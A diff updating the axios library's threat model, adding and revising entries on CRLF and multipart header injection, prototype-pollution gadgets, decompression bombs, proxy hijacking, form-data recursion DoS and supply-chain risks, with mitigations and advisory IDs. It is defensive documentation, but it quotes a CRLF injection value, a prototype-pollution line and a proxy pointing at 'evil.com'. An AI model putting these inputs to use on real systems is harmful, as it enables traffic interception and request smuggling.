diff --git a/THREATMODEL.md b/THREATMODEL.md index ae86bb7b..009dd4f9 100644 --- a/THREATMODEL.md +++ b/THREATMODEL.md @@ -111,17 +111,17 @@ The runtime model is general by design - axios is a transport library and cannot #### T-R3: Header injection (CRLF) -| | | -| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Description** | Application puts user input into a header value: `headers: { 'X-User': req.query.name }`. Attacker supplies `foo\r\nX-Injected: bar\r\n\r\n`. | -| **Likelihood** | Low | -| **Impact** | Medium–High (request smuggling, response splitting) | -| **Mitigations** | `lib/core/AxiosHeaders.js` rejects header values containing `\r` or `\n`, and validates header names against an RFC-7230-shaped charset. Node's own `http` module also rejects these. | -| **Residual risk** | Very low. Defense in depth (axios + Node). | +| | | +| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **Description** | Application puts user input into a header value: `headers: { 'X-User': req.query.name }`. Attacker supplies `foo\r\nX-Injected: bar\r\n\r\n`. A related surface is **multipart per-part headers** — attacker-controlled `blob.type` or `blob.name` flowing into the multipart body. | +| **Likelihood** | Low | +| **Impact** | Medium–High (request smuggling, response splitting, multipart parser confusion) | +| **Mitigations** | • `lib/core/AxiosHeaders.js` rejects header values containing `\r` or `\n`, and validates header names against an RFC-7230-shaped charset. Node's own `http` module also rejects these.
• `lib/helpers/formDataToStream.js` strips CRLF from `value.type` and percent-encodes CRLF/`"` in `value.name` via `escapeName()` before interpolating them into per-part headers (GHSA-445q-vr5w-6q77). Node's `http` module does **not** defend here — multipart injection is in body bytes, not request headers. | +| **Residual risk** | Very low for HTTP headers (defense in depth: axios + Node). Low for multipart body headers (single layer of defense; regressions here would be silent). | --- -#### T-R4: Prototype pollution via response body +#### T-R4: Prototype pollution — write side (polluting response / merge into a target object) | | | | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -133,28 +133,40 @@ The runtime model is general by design - axios is a transport library and cannot --- +#### T-R4b: Prototype pollution — read-side gadgets (polluted `Object.prototype` drives axios behavior) + +| | | +| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **Description** | A _different_ library in the caller's dependency tree pollutes `Object.prototype` (e.g. `Object.prototype.validateStatus = () => true`). axios code that reads a config property through the prototype chain then picks up the attacker's value and executes the associated behavior. Each reachable property is a distinct **gadget**: `validateStatus` (bypass HTTP error handling), `parseReviver` (silently tamper JSON response bodies), `transport` / `httpAgent` / `lookup` (MITM / intercept), `withXSRFToken` (leak XSRF token cross-origin), `transformResponse` (response replacement), and so on. | +| **Likelihood** | Low–Medium (requires a polluted prototype somewhere in the process — historically common). | +| **Impact** | High — arbitrary behavior change across every axios call (auth bypass, response tampering, credential leakage). Unlike T-R4, this does not require axios itself to pollute — any polluted process is enough. | +| **Mitigations** | Config reads that can drive behavior are routed through `hasOwnProp` guards so polluted prototype properties are not seen:
• `lib/core/mergeConfig.js` — per-prop reads from `config1`/`config2` guarded with `hasOwnProp`; `mergeDirectKeys` (used by `validateStatus`) uses `hasOwnProp` rather than the `in` operator which traverses the prototype chain (fix for GHSA-w9j2-pvgh-6h63).
• `lib/defaults/index.js` — `transformResponse` / `transformRequest` read `transitional`, `responseType`, `parseReviver`, `response` via an `own()` wrapper (fix for GHSA-3w6x-2g7m-8v23).
• `lib/adapters/http.js` — `transport`, `httpAgent`, `httpsAgent`, `lookup`, `family`, `http2Options`, etc. read via `hasOwnProp` (fix for GHSA-pf86-5x62-jrwf gadget set).
• `lib/helpers/resolveConfig.js` — `withXSRFToken` requires strict `=== true` to send the header cross-origin; non-boolean truthy values (`1`, `"false"`, `{}`) no longer short-circuit the same-origin check (fix for GHSA-xx6v-rp6x-q39c).
• Regression tests for the gadget class live in `tests/unit/prototypePollution.test.js` (both unit-level and end-to-end against `axios.get`). | +| **Residual risk** | Low, but the surface is _every config property read_. Any new code path that reads `config.foo` / `this.foo` / destructures from a merged config MUST use a `hasOwnProp` guard. The non-goal that axios does not defend a caller with a polluted prototype is **narrower than it sounds** — the pollution typically comes from a transitive dep, not from the caller's own intent, and the above mitigations _do_ neutralize the reachable gadgets even when the prototype is polluted. | + +--- + #### T-R5: Decompression bomb -| | | -| ----------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Description** | Server sends `Content-Encoding: gzip` with a 10 KB body that decompresses to 10 GB. | -| **Likelihood** | Low | -| **Impact** | Medium (DoS - OOM kill of the calling process) | -| **Mitigations** | • `maxContentLength` bounds the **decompressed** response size in the Node adapter (`lib/adapters/http.js`).
• `maxBodyLength` bounds the request side.
• Both default to `-1` (unlimited). **Callers handling untrusted servers should set these.**
• Decompression uses Node's `zlib`, which streams - memory is bounded by the limit, not the full expansion. | -| **Residual risk** | Medium when limits are not configured. The defaults favor compatibility over safety. | +| | | +| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **Description** | Server sends `Content-Encoding: gzip` with a 10 KB body that decompresses to 10 GB. | +| **Likelihood** | Low | +| **Impact** | Medium (DoS - OOM kill of the calling process) | +| **Mitigations** | • `maxContentLength` bounds the **decompressed** response size in the Node adapter (`lib/adapters/http.js`), enforced chunk-by-chunk on the decompressed stream for both buffered and `responseType: 'stream'` responses (stream path fixed in GHSA-vf2m-468p-8v99).
• `maxBodyLength` bounds the request side, including when `maxRedirects === 0` (previously bypassed).
• Both default to `-1` (unlimited). **Callers handling untrusted servers should set these.** The README carries a top-level "security notice" call-out and `docs/pages/misc/security.md` documents the exact mitigation snippet in all four locales.
• Decompression uses Node's `zlib`, which streams — memory is bounded by the limit, not the full expansion. | +| **Residual risk** | Medium when limits are not configured. The defaults favor compatibility over safety; the reasoning is that tightening the default would silently break every legitimate download larger than whatever cap were chosen. | --- #### T-R6: TLS validation bypass -| | | -| ----------------- | ------------------------------------------------------------------------------------------------------------------------------ | +| | | +| ----------------- | --------------------------------------------------------------------------------------------------------------------------------- | | **Description** | Caller passes `httpsAgent: new https.Agent({ rejectUnauthorized: false })` to "fix" a certificate error in dev, ships it to prod. | -| **Likelihood** | Medium (very common copy-paste anti-pattern) | -| **Impact** | High (silent MITM) | -| **In scope?** | **No.** axios delegates TLS entirely to Node's `https` module / the browser. We do not inspect or warn on agent configuration. | -| **Mitigations** | None at the axios layer. Documentation responsibility only. | -| **Residual risk** | High, but explicitly out of scope. This is caller misconfiguration, not an axios vulnerability. | +| **Likelihood** | Medium (very common copy-paste anti-pattern) | +| **Impact** | High (silent MITM) | +| **In scope?** | **No.** axios delegates TLS entirely to Node's `https` module / the browser. We do not inspect or warn on agent configuration. | +| **Mitigations** | None at the axios layer. Documentation responsibility only. | +| **Residual risk** | High, but explicitly out of scope. This is caller misconfiguration, not an axios vulnerability. | --- @@ -184,13 +196,13 @@ The runtime model is general by design - axios is a transport library and cannot #### T-R9: Proxy environment variable hijack -| | | -| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Description** | Attacker controls the process environment (compromised CI step, container escape, `.env` injection) and sets `HTTPS_PROXY=http://evil.com:8080`. All axios traffic is now MITM'd. | -| **Likelihood** | Low (requires prior foothold) | -| **Impact** | High | -| **Mitigations** | • `config.proxy: false` disables environment-based proxy detection entirely.
• `NO_PROXY` is honored (`lib/helpers/shouldBypassProxy.js`).
• HTTPS through an HTTP proxy still validates the origin's cert (CONNECT tunnel) - the proxy sees SNI but not plaintext. | -| **Residual risk** | Low for HTTPS. **High for plain HTTP** - the proxy sees and can modify everything. | +| | | +| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| **Description** | Attacker controls the process environment (compromised CI step, container escape, `.env` injection) and sets `HTTPS_PROXY=http://evil.com:8080`. All axios traffic is now MITM'd. | +| **Likelihood** | Low (requires prior foothold) | +| **Impact** | High | +| **Mitigations** | • `config.proxy: false` disables environment-based proxy detection entirely.
• `NO_PROXY` is honored (`lib/helpers/shouldBypassProxy.js`), with recent hardening for CIDR ranges, IPv6 literals, and wildcard patterns to close parser-differential edge cases.
• HTTPS through an HTTP proxy still validates the origin's cert (CONNECT tunnel) - the proxy sees SNI but not plaintext. | +| **Residual risk** | Low for HTTPS. **High for plain HTTP** - the proxy sees and can modify everything. | --- @@ -206,6 +218,18 @@ The runtime model is general by design - axios is a transport library and cannot --- +#### T-R11: Form-data recursion DoS (deeply nested input) + +| | | +| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **Description** | Caller passes untrusted object input as request `data` in a context that serializes to `multipart/form-data` or `application/x-www-form-urlencoded`. A pathological input with thousands of nesting levels causes `lib/helpers/toFormData.js` to recurse until stack overflow or the process is killed. | +| **Likelihood** | Low (requires the caller to serialize attacker-controlled object input without validation) | +| **Impact** | Medium (DoS — stack overflow / process termination) | +| **Mitigations** | • `formSerializer.maxDepth` caps recursion depth; default is 100, can be set to `Infinity` to disable.
• Exceeding the cap throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED` rather than crashing the process.
• Documented per locale in `docs/pages/advanced/multipart-form-data-format.md` and `docs/pages/advanced/x-www-form-urlencoded-format.md`. | +| **Residual risk** | Low when callers leave the default in place. Setting `maxDepth: Infinity` reintroduces the risk. | + +--- + ### 2.6 Explicit Non-Goals (Runtime) axios will **not**: @@ -214,7 +238,7 @@ axios will **not**: - Validate that `config.url` points somewhere "safe." We don't know what safe means for your application. - Warn when TLS validation is disabled via a custom agent. - Redact `config` from thrown errors - the caller may legitimately need it for retry logic. -- Defend against a caller that has already been compromised (e.g. polluted `Object.prototype` before calling axios). +- Defend against a fully compromised caller process (e.g. attacker-controlled code running inside the caller). Note: for the narrower case of a **polluted `Object.prototype` arriving via a transitive dependency**, axios _does_ defend the reachable config-read gadgets (see T-R4b) — but any new config-read path must continue to use `hasOwnProp` guards to stay on this side of the line. --- @@ -293,13 +317,13 @@ This is the model that protects **what gets published as `axios` on npm**. A suc #### T-S1: Malicious code in a contributor PR -| | | -| --------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Description** | Attacker opens a PR with a subtle backdoor - an obfuscated payload in a test fixture, a Unicode homoglyph in a comparison, a malicious `rollup` plugin in the config. | -| **Likelihood** | **High** (attempts are constant on high-profile repos) | -| **Impact** | Critical, _if_ it lands | -| **Mitigations** | • Mandatory review before merge.
• `pull_request` workflows run with no secrets and a read-only token - a malicious test cannot exfiltrate anything from CI.
• `pull_request_target` is **not** used (it would grant secrets to fork code).
• `zizmor` lints workflow files for known-dangerous patterns.
• Branch protection on `v1.x`. | -| **Gaps** | • Review is human and fallible. Obfuscated changes to `dist/` (if checked in) or to large test fixtures are hard to spot.
• No automated diffing of `lib/` → `dist/` to catch build-output tampering.
• No `CODEOWNERS` requiring specific reviewers for `lib/`, `.github/`, `rollup.config.js`. | +| | | +| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **Description** | Attacker opens a PR with a subtle backdoor - an obfuscated payload in a test fixture, a Unicode homoglyph in a comparison, a malicious `rollup` plugin in the config. | +| **Likelihood** | **High** (attempts are constant on high-profile repos) | +| **Impact** | Critical, _if_ it lands | +| **Mitigations** | • Mandatory review before merge.
• `pull_request` workflows run with no secrets and a read-only token - a malicious test cannot exfiltrate anything from CI.
• `pull_request_target` is **not** used (it would grant secrets to fork code).
• `zizmor` lints workflow files for known-dangerous patterns.
• Branch protection on `v1.x`. | +| **Gaps** | • Review is human and fallible. Obfuscated changes to `dist/` (if checked in) or to large test fixtures are hard to spot.
• No automated diffing of `lib/` → `dist/` to catch build-output tampering.
• `.github/CODEOWNERS` exists but is a single catch-all (`* @jasonsaayman`). Path-scoped ownership for `lib/`, `.github/workflows/`, and `rollup.config.js` would route these sensitive changes through mandatory reviewers distinct from the catch-all. | --- @@ -394,19 +418,19 @@ This is the model that protects **what gets published as `axios` on npm**. A suc | **Likelihood** | Low | | **Impact** | Critical | | **Mitigations** | • All actions are pinned to **full commit SHAs**, not tags - `actions/checkout@de0fac…` not `@v6`. A compromised action tag can't silently change behavior. ✅
• `permissions:` are minimal (`contents: read`, `id-token: write`).
• `persist-credentials: false` on checkout - the build steps cannot push back to the repo.
• `zizmor` lints workflows on every PR.
• The `npm-publish` GitHub Environment can require designated reviewers before the job runs - a tampered workflow still pauses for human approval. | -| **Gaps** | • No `CODEOWNERS` rule requiring extra scrutiny on `.github/workflows/**`. A workflow change can currently be approved by any single maintainer. | +| **Gaps** | • `.github/CODEOWNERS` is a single catch-all rather than a workflow-specific rule. A path-scoped entry for `.github/workflows/**` would flag these changes for a distinct (ideally two-person) review path rather than folding into the default approval. A workflow change can currently be approved by any single maintainer. | --- #### T-S7: Tag confusion / replay -| | | -| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Description** | Attacker with write access force-pushes an existing tag to point at a malicious commit, or pushes `v1.99.99` so that a release is published out of band. | -| **Likelihood** | Low (requires write access - assumed compromised at that point) | -| **Impact** | High | +| | | +| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **Description** | Attacker with write access force-pushes an existing tag to point at a malicious commit, or pushes `v1.99.99` so that a release is published out of band. | +| **Likelihood** | Low (requires write access - assumed compromised at that point) | +| **Impact** | High | | **Mitigations** | • npm rejects re-publishing an existing version - re-tagging you cannot overwrite the published `1.15.0`.
• Provenance attestation records the commit SHA the tag pointed to _at publish time_ - forensically verifiable.
• GitHub tag protection rules can prevent tag deletion/force-push. | -| **Gaps** | A _new_ malicious version (`v1.x.x`) is still publishable by anyone with tag-push rights - this collapses back into T-S3 (account security). | +| **Gaps** | A _new_ malicious version (`v1.x.x`) is still publishable by anyone with tag-push rights - this collapses back into T-S3 (account security). | --- @@ -424,16 +448,16 @@ This is the model that protects **what gets published as `axios` on npm**. A suc ### 3.6 Summary: Project Risk Posture -| Threat | Likelihood | Impact | Current Posture | Priority Gap | -| ---------------------------- | ---------- | ------------ | --------------- | --------------------------------------------------------------- | -| T-S1 Malicious PR | High | Critical | 🟡 Adequate | Add CODEOWNERS for sensitive paths | -| **T-S2 Dev-dep steals keys** | **Medium** | **Critical** | **🔴 Weak** | **Local `--ignore-scripts`; no publish tokens on workstations** | -| **T-S3 Phishing** | **High** | **Critical** | **🟡 Partial** | **Mandate WebAuthn (not TOTP) for maintainer GitHub accounts** | -| T-S4 Runtime dep compromise | Low | Critical | 🟢 Good | - | -| T-S5 Build tampering | Low | Critical | 🟡 Adequate | Reproducible-build verification step | -| T-S6 Workflow tampering | Low | Critical | 🟢 Good | CODEOWNERS on `.github/` | -| T-S7 Tag replay | Low | High | 🟢 Good | - | -| T-S8 Typosquat | High | Medium | ⚪ Out of scope | - | +| Threat | Likelihood | Impact | Current Posture | Priority Gap | +| ---------------------------- | ---------- | ------------ | --------------- | --------------------------------------------------------------------- | +| T-S1 Malicious PR | High | Critical | 🟡 Adequate | Path-scoped CODEOWNERS for `lib/`, `.github/workflows/`, build config | +| **T-S2 Dev-dep steals keys** | **Medium** | **Critical** | **🔴 Weak** | **Local `--ignore-scripts`; no publish tokens on workstations** | +| **T-S3 Phishing** | **High** | **Critical** | 🟡 Partial | Mandate WebAuthn (not TOTP) for maintainer GitHub accounts | +| T-S4 Runtime dep compromise | Low | Critical | 🟢 Good | - | +| T-S5 Build tampering | Low | Critical | 🟡 Adequate | Reproducible-build verification step | +| T-S6 Workflow tampering | Low | Critical | 🟢 Good | Path-scoped CODEOWNERS entry for `.github/workflows/**` | +| T-S7 Tag replay | Low | High | 🟢 Good | - | +| T-S8 Typosquat | High | Medium | ⚪ Out of scope | - | **The two threats most worth investing in are T-S2 and T-S3.** Both target the maintainer rather than the code, both bypass every in-repo control, and both have well-understood, low-cost mitigations that are currently a matter of individual maintainer discipline rather than enforced policy.